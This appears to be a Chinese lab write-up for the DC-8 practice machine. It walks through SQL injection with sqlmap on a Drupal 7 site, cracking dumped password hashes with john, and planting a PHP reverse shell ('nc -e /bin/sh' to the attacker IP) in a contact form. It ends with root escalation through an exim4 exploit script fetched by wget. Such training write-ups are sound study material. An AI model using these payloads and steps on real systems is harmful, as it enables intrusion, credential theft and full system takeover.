title: DC-8靶机渗透
date: 2023-1-6 20 :47 :36
tags: DC系列靶机
categories: 渗透从入门到入土
author:Abyssaler
DC-8靶机渗透全流程
一:实验环境
kali攻击机: 192.168.2.104
DC-8靶机: 192.168.2.105
二:信息收集
主机发现
arp-scan -l
发现靶机IP地址:192.168.2.105
端口扫描
nmap -A 192.168.2.105
发现靶机开放端口22,80
,同时发现cms是drupal 7
目录扫描
dirsearch -u http://192.168.2.105/ -e*
web信息收集
访问靶机web页面http://192.168.2.105
发现url可以传参
测试sql注入
构造http://192.168.2.105/?nid=1' -- aa
发现web界面报错,说明我们存在sql注入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IR54DIrM-1676258409792)(https://abyssaler-typora-photobank.oss-cn-chengdu.aliyuncs.com/img_for_typoraimage-20230106212743307.png)]
三:渗透测试
sqlmap尝试注入
既然存在sql注入,使用sqlmap来试试
sqlmap -u "http://192.168.2.105/?nid=1"
发现存在多种注入漏洞
爆库名
sqlmap -u "http://192.168.2.105/?nid=1" --dbs
爆表名
sqlmap -u "http://192.168.2.105/?nid=1" -D d7db --tables
从爆出来的一堆表名中看到了一个user表
爆字段
sqlmap -u "http://192.168.2.105/?nid=1" -D d7db -T users --columns
查询信息
sqlmap -u "http://192.168.2.105/?nid=1" -D d7db -T users -C "uid,name,pass" --dump
得到了加密信息
john解密
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
将密文放入dc-8.txt,然后用john进行破解
john dc-8.txt
只破译出了john用户,admin破译不出来(尝试了十几分钟)
反弹shell
通过之前的目录扫面我们知道了有用户登录页面
http://192.168.2.105/user/login
用破解出来的账户登录
进入了后台就可以尝试寻找能够上传php代码的地方写shell了
经过一番查找发现在contact us页面可以修改
写入shell
<?php system("nc -e /bin/sh 192.168.2.104 444"); ?>
保存后访问该页面,同时记得kali开启监听
nc -lvp 444
然后回到view页面,提交
成功拿到shell
获得交互式界面python -c "import pty;pty.spawn('/bin/bash')"
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Wy1q7F6c-1676258409797)(https://abyssaler-typora-photobank.oss-cn-chengdu.aliyuncs.com/img_for_typoraimage-20230106220846105.png)]
提权
查找SUID位的程序
find / -perm -u=s -user root 2>/dev/null
#-perm根据权限查找, -u=s包含suid位的程序 -user root属主是root用户的, 2>/dev/null 错误信息扔进垃圾桶
debian发行版(包括Ubuntu)使用exim4作为默认的邮件服务器
centos使用postfix作为默认的邮件服务器,早先版本使用的是sendmail
看其版本
/usr/sbin/exim4 --version
或者
exim4 --version
使用searchsploit来寻找版本漏洞
searchsploit exim 4
找到对应漏洞
把脚本镜像到当前目录
searchsploit -m 46996.sh
或者
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /root/Desktop
复制到桌面
利用python架设一个简单的http服务器让靶机来下载脚本
先用python -V
查看python版本
python2用: python2 -m SimpleHTTPServer 2222
python3用: python3 -m http.server 2222
在靶机中下载脚本,只能在靶机的tmp目录下下载,因为/tmp目录的权限大
wget http://192.168.2.104:2222/46996.sh
或者
可以将脚本放到攻击机的apache目录下,然后再使用获得的靶机的shell下载
或者也可以在此链接直接下载该exp:https://www.exploit-db.com/exploits/46996
复制脚本到目录/var/www/html下:cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html
启动apache服务:service apache2 start
wget http://192.168.2.104/46996.sh
此时脚本是没有执行权限的,我们要手动添加执行权限chmod +x 46996.sh
根据exp的提示,执行该脚本./46996.sh -m netcat
提权成功
注意过一段时间后连接就会断开,要重新执行脚本才行,所以操作要快
ps
如果版本过低,可能会遇到执行脚本报错问题
原因是:shell.sh文件的格式为dos格式。linux只能执行格式为unix格式的脚本。
使用set ff=unix : 告诉 vim 编辑器,使用unix换行符,不然会无法执行脚本。
所以修改一下攻击机目录下的shell脚本,在脚本最后加上set ff=unix
,要重新执行脚本才行,所以操作要快